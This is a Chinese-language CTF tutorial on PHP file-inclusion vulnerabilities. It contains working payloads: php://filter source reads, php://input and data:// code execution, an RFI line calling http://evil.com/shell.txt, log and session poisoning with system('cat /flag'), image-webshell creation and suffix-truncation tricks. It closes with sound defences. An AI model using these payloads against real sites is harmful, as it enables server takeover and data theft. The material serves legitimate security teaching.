文件包含漏洞(File Inclusion)

一、漏洞原理

文件包含漏洞(File Inclusion)是指 Web 应用在包含文件时,未对用户输入的文件路径做充分过滤,导致攻击者可以包含任意文件,从而读取源码、执行任意代码、甚至控制服务器。

核心成因:应用中使用了动态文件包含函数,且参数用户可控,未做白名单限制。

与文件读取漏洞的区别

  • 文件读取:仅读取文件内容(如 file_get_contents()),不能执行 PHP 代码
  • 文件包含:会将文件作为代码执行(如 include()),即使文件是 .jpg 后缀,只要内容有 <?php ... ?> 也会被执行
常见危险函数(PHP)
函数 说明 特点
include() 包含并执行文件,文件不存在时产生警告但继续执行 漏洞利用首选
require() 包含并执行文件,文件不存在时产生致命错误并停止 同 include
include_once() 同 include,但同一文件只包含一次 限制重复包含
require_once() 同 require,但同一文件只包含一次 限制重复包含
典型脆弱代码
php 复制代码
<?php
    $file = $_GET['page'];
    include($file . ".php");
?>

访问 ?page=index 会包含 index.php,但如果访问 ?page=../../../etc/passwd 就可能读取系统文件。


二、文件包含的分类

2.1 本地文件包含(LFI,Local File Inclusion)

只能包含服务器本地的文件。利用方式:

  • 读取系统文件(/etc/passwd/flag
  • 读取源码(使用 php://filter
  • 包含日志文件或 session 文件(Getshell)
  • 包含 /proc/self/environ
2.2 远程文件包含(RFI,Remote File Inclusion)

可以包含远程服务器上的文件,直接 getshell。需要 allow_url_include = On(PHP 5.2 后默认关闭,现已少见)。

利用方式:

  • 在自己的 VPS 上放置恶意 PHP 文件,直接包含
  • ?page=http://evil.com/shell.txt,服务端执行 shell.txt 中的 PHP 代码

注意:现代 PHP 默认关闭远程包含,CTF 中 RFI 较少见,除非题目明确提示。


三、PHP 伪协议利用(LFI 核心技能)

PHP 提供了一系列伪协议,可在文件包含中发挥巨大作用。这些是 CTF 中文件包含题目的核心考点。

3.1 php://filter(读取源码)

功能:对文件内容进行过滤后再输出,常用于读取源码而不执行。

语法

复制代码
php://filter/read=convert.base64-encode/resource=文件名

CTF 用途

  • 读取 PHP 源码(Base64 编码后返回,防止被服务器执行)
  • 读取 /flag 等非 PHP 文件

示例

复制代码
?page=php://filter/convert.base64-encode/resource=index
?page=php://filter/convert.base64-encode/resource=/flag

绕过固定后缀 :当后端代码 include($file . ".php") 强制添加 .php 后缀时,使用 php://filter 不需要指定后缀,且 resource= 指向的文件名不受后缀影响,可直接读取 /flag 原始内容。

读取其他文件

复制代码
?page=php://filter/convert.base64-encode/resource=../etc/passwd
3.2 php://input(POST 传递代码)

功能:读取 POST 请求体中的原始数据并执行。

条件allow_url_include = On

利用方式

URL: ?page=php://input

POST Body: <?php system('cat /flag');?>

使用场景 :无法写入文件,但 allow_url_include=On 时,直接通过 POST 传递代码。

注意php://input 不能读取 multipart/form-data 的数据,需要用 application/x-www-form-urlencoded 或 raw data。

3.3 data://(数据流协议)

功能:直接在 URL 中嵌入数据,作为文件内容执行。

条件allow_url_include = On

语法

复制代码
data://text/plain,<?php system('cat /flag');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==

示例

复制代码
?page=data://text/plain,<?php phpinfo();?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==

注意 :Base64 后的内容不需要 <?php ?> 包裹也可以,但通常加上更完整。

3.4 file://(文件系统协议)

功能:直接访问本地文件系统。

语法

复制代码
file:///etc/passwd
file:///var/www/html/flag.php

特点:类似于直接路径穿越,但在某些过滤场景下可能绕过 WAF。

3.5 zip:// 和 phar://(压缩包协议)

功能:直接访问压缩包内的文件,常用于配合文件上传漏洞。

条件 :需要服务器上存在可控的压缩文件(如已上传的 .zip.phar 文件)。

利用方式

  1. 制作一个包含 PHP 代码的压缩包(如 shell.zip,里面有 shell.php

  2. 上传该压缩包(绕过上传检测)

  3. 通过文件包含执行压缩包内的脚本:

    ?page=phar://uploads/shell.zip/shell
    ?page=zip://uploads/shell.zip%23shell

%23# 的 URL 编码,zip 协议中用 # 分隔压缩包路径和内部文件名)

注意phar:// 不需要 allow_url_include=On,是 LFI 的本地协议,非常实用。

3.6 expect://(命令执行)

功能:执行系统命令。

条件 :PHP 安装了 expect 扩展(极少见)。

语法

复制代码
?page=expect://whoami
?page=expect://cat /flag
3.7 各协议对比总结
协议 条件 用途 CTF 常见度
php://filter 无需特殊权限 读取源码/base64 ★★★★★
php://input allow_url_include=On 执行任意代码 ★★★★
data:// allow_url_include=On 执行任意代码 ★★★★
file:// 无需特殊权限 读取文件 ★★★
zip:// / phar:// 需上传压缩包 解压并执行 ★★★
expect:// 需安装 expect 扩展 命令执行

四、绕过固定后缀的技巧

许多题目会强制添加后缀,如:

复制代码
include($_GET['page'] . ".php");
include($_GET['page'] . ".html");
4.1 使用 php://filter(最佳方案)

php://filter 伪协议本身不需要后缀,且 resource= 后面的路径不受追加后缀影响(部分版本)。适用于直接读任意文件。

复制代码
?page=php://filter/convert.base64-encode/resource=/flag
4.2 %00 截断(旧版 PHP < 5.3.4)

条件magic_quotes_gpc = Off

复制代码
?page=../../../etc/passwd%00

%00 是空字节,C 语言处理字符串时遇到空字节就会截断,后面的 .php 被忽略。

4.3 路径长度截断(旧版 PHP < 5.2.8)

PHP 对路径有长度限制(通常 4096 字符)。传入超长路径时,追加的后缀会被截断。

复制代码
?page=../../../etc/passwd/./././././... (重复很多次)
4.4 点号截断(Windows 环境)

Windows 文件系统会自动去掉文件名末尾的点号和空格。

复制代码
?page=../../../etc/passwd.......
?page=../../../etc/passwd%20
4.5 利用 zip/phar 协议
复制代码
include($_GET['page'] . ".php");

如果传入 ?page=phar://uploads/shell.zip/shell,实际拼接为 phar://uploads/shell.zip/shell.php,但 phar:// 协议只取 # 或外部指定文件名,所以仍可执行。


五、Session 文件包含(LFI Getshell 重要方法)

allow_url_include=Off,且没有文件上传点可利用时,Session 文件包含是经典手法。

5.1 原理

PHP Session 默认存储在 /tmp/sess_<PHPSESSID> 文件中。如果我们可以控制 Session 的内容(例如通过用户名注册或登录时写入),并且在 Session 文件中插入了 PHP 代码,就可以通过文件包含漏洞包含 Session 文件来执行代码。

5.2 利用步骤
  1. 找到 Session 存储路径

    • 常见路径:/tmp/sess_xxx(Linux)、/var/lib/php/session/sess_xxx
    • 可通过 phpinfo() 查看 session.save_path
    • 或读取配置文件
  2. 在 Session 中写入 PHP 代码

    • 在登录/注册页面的任意可控字段(如用户名)中写入 <?php system('cat /flag');?>
    • 发起请求,设置 Cookie 为 PHPSESSID=xxx
  3. 包含 Session 文件

    复制代码
    ?page=/tmp/sess_xxx
  4. 代码执行,拿到 Flag


六、日志文件包含(LFI Getshell 另一重要方法)

6.1 原理

Web 服务器的访问日志会记录每个 HTTP 请求的 URL 和 User-Agent。如果在 User-Agent 或 URL 中插入 PHP 代码,这些代码会被写入日志文件。再通过文件包含漏洞包含日志文件,即可执行代码。

6.2 利用步骤
  1. 确定日志文件路径

    • Apache:/var/log/apache2/access.log/var/log/httpd/access_log
    • Nginx:/var/log/nginx/access.log
    • 可通过读取配置文件确认
  2. 在请求中插入 PHP 代码

    使用 Burp Suite 抓包,修改 User-Agent 为:

    复制代码
    <?php system('cat /flag');?>

    或直接访问:

    复制代码
    /<?php system('cat /flag');?>
  3. 包含日志文件

    复制代码
    ?page=/var/log/apache2/access.log
  4. 日志文件中的 PHP 代码被执行,拿到 Flag。

注意 :日志文件通常较大,可能导致页面加载缓慢。可先用 php://filter 读取日志确认注入成功,或用精确的路径穿越避免超时。

6.3 SSH 日志包含

如果 Web 服务器也运行 SSH,可以尝试:

  1. SSH 连接服务器,在用户名中输入 <?php system('cat /flag');?>
  2. 认证失败后,该用户名会记录在 /var/log/auth.log
  3. 包含该日志文件执行代码

条件/var/log/auth.log 对 Web 用户可读(通常不可读,需要特定权限配置)。


七、其他利用技巧

7.1 /proc 伪文件系统(Linux)
  • /proc/self/environ:当前进程的环境变量,可能包含敏感信息
  • /proc/self/fd/[0-9]*:当前进程打开的文件描述符,可能包含日志、临时文件等
  • /proc/self/cmdline:当前进程的命令行参数
7.2 包含图片马

结合文件上传漏洞,上传包含 PHP 代码的图片(图片马),再通过文件包含漏洞包含该图片:

复制代码
?page=uploads/shell.jpg

图片马中即使有图片二进制数据,只要其中包含 <?php ... ?>,PHP 解析器就会忽略非 PHP 代码部分,执行其中的 PHP 代码。

制作图片马

复制代码
copy /b normal.jpg + shell.php payload.jpg

cat normal.jpg shell.php > payload.jpg
7.3 包含临时文件(条件竞争)

PHP 上传文件时,会先保存为临时文件 /tmp/phpXXXXXX,在脚本执行结束后删除。如果能在文件被删除前通过文件包含执行它,就可以 Getshell。

利用方法:多线程并发包含可能的临时文件名,同时不停上传文件,存在竞争窗口。


八、CTF 实战示例:从 LFI 到 Getshell

题目描述 :一个网站,URL 为 ?page=home,显示不同页面。存在文件包含漏洞。目标:获取 /flag

步骤

  1. 漏洞确认

    尝试 ?page=../../../../etc/passwd,返回系统用户文件,确认存在 LFI。

  2. 判断 PHP 与读取源码

    使用 php://filter 读取首页源码:

    复制代码
    ?page=php://filter/convert.base64-encode/resource=index

    返回 Base64,解码后得到 index.php 源码。发现代码为

    复制代码
    <?php include($_GET['page'] . ".php"); ?>

    确认后缀为 .php,需要绕过。

  3. 尝试直接读 Flag

    复制代码
    ?page=php://filter/convert.base64-encode/resource=/flag

    成功返回 Base64,解码得到 Flag。题目结束。

    如果 Flag 不是独立文件,而是存在数据库中,则需要进一步 Getshell。

  4. 若需 Getshell(RFI/伪协议不可用时)

    尝试日志包含:

    • 访问 http://target.com/<?php system('cat /flag');?>(URL 中注入代码)
    • 包含日志:?page=../../../../var/log/apache2/access.log
    • 成功执行,拿到 Flag。
  5. 若日志不可读,尝试 Session 包含

    • 在登录框的用户名处输入 <?=system('cat /flag');?>
    • 获取 Cookie 中的 PHPSESSID
    • 包含 Session 文件:?page=../../../../tmp/sess_xxxx
    • 代码执行,拿到 Flag。
  6. 若所有方法都失败,尝试 /proc/self/environ

    复制代码
    ?page=../../../../proc/self/environ

    查看环境变量,可能直接暴露 Flag。


九、常见防御措施

  • 白名单限制 :这是最安全的防御。使用 switch 或数组映射,仅允许包含预定义文件:

    复制代码
    $pages = ['home' => 'home.php', 'about' => 'about.php'];
    if (isset($pages[$_GET['page']])) {
        include($pages[$_GET['page']]);
    }
  • 过滤危险字符 :过滤 ../..\php:// 等,但容易被绕过,不推荐作为唯一防御。

  • 禁用危险函数disable_functions 禁用 systemexec 等,即使 getshell 也无法执行系统命令。

  • 限制 allow_url_include :设置为 Off,阻止远程文件包含和 php://inputdata:// 等。

  • 设置 open_basedir:限制 PHP 可访问的文件目录,防止穿越到系统目录。

  • 日志文件权限控制:Web 用户不应有读取系统日志的权限。

  • 禁用不必要的伪协议:高版本 PHP 默认已关闭大部分危险协议。


十、总结

  • 文件包含漏洞的核心是将用户输入作为代码执行,危害远大于普通文件读取。
  • CTF 中 LFI 的核心武器是 PHP 伪协议 ,尤其是 php://filter 读源码和 php://input/data:// 执行代码。
  • 当伪协议不可用时,日志包含Session 包含是经典的 Getshell 手法。
  • 绕过固定后缀有多种方法,php://filter 是最优雅的解决方案。
  • 防御必须以白名单为主,伪协议禁用、目录限制和权限控制为辅。
相关推荐
胖大师5 小时前
Android Audio-FW
android
kayyoo7 小时前
CoordinatorLayout解析(二): 结合CollapsingToolbarLayout实现Toolbar折叠效果
android
数据知道8 小时前
移动端渗透测试流程:Android APK 逆向与动态调试
android·web安全·网络安全
我命由我1234510 小时前
人脸识别 - 勒克斯(光线照射到物体表面上的明亮程度)
android·java·学习·java-ee·人脸识别·学习方法·android runtime
聚美智数10 小时前
护照OCR识别-护照图像识别-护照OCR文字识别-护照识别OCR-护照信息识别-护照OCR
android·ocr
码农coding12 小时前
android12 点击桌面应用图标启动Activity流程
android
johnsong12 小时前
深度拆解:150M循环模型如何用循环推理击败大Transformer
android·深度学习·transformer
CedarQR13 小时前
云卓 G20 遥控器 Android 开发实录:从 USB 设备到读取摇杆/按键通道值
android·linux·无人机
pengyu14 小时前
【Kotlin 协程修仙录 · 炼虚境 · 初阶】 | 虚空造物:Channel 基础与协程间通信的管道艺术
android·前端·kotlin
小强闯江湖14 小时前
ViewCompose:让原生 Android View 进入声明式时代
android·开源·kotlin